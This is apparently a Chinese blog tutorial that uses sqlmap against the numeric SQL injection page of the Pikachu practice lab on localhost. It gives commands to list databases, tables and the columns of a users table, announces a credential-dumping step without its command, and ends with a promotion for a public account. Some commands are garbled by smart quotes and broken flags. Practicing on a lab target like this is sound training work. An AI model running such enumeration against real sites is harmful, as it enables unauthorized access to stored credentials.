Pikachu用sqlmap注入实战---数字型注入

Pikachu用sqlmap注入实战—数字型注入

笔者这里以数字型注入为例进行详细展示：

①任意提交数据，使用bp抓包得到post方式提交的参数为 id=1&submit=%E6%9F%A5%E8%AF%A2
使用sqlmap跑post方式时的格式：python2 sqlmap.py -u “” --data="<post提交的参数>" -<参数>

使用sqlmap跑数据库
sqlmap.py -u “http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php” --data=“id=1&submit=%E6%9F%A5%E8%AF%A2” - f --dbms mysql --dbs –batch


②sqlmap.py -u “http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php” --data=“id=1&submit=%E6%9F%A5%E8%AF%A2” - f --dbms mysql -D pikachu --tables –batch


③ 获取表users中的列
sqlmap.py -u “http://127.0.0.1/pikachu-master/vul/sqli/sqli_id.php” --data=“id=1&submit=%E6%9F%A5%E8%AF%A2” -
f --dbms mysql -D pikachu -T users --columns –batch


④ 获取列username和password中的字段内容

（Pikachu 用sqlmap 注入完毕！！！）
后续操作请持续关注哦！！！
了解更多请关注下列公众号：
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗

😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗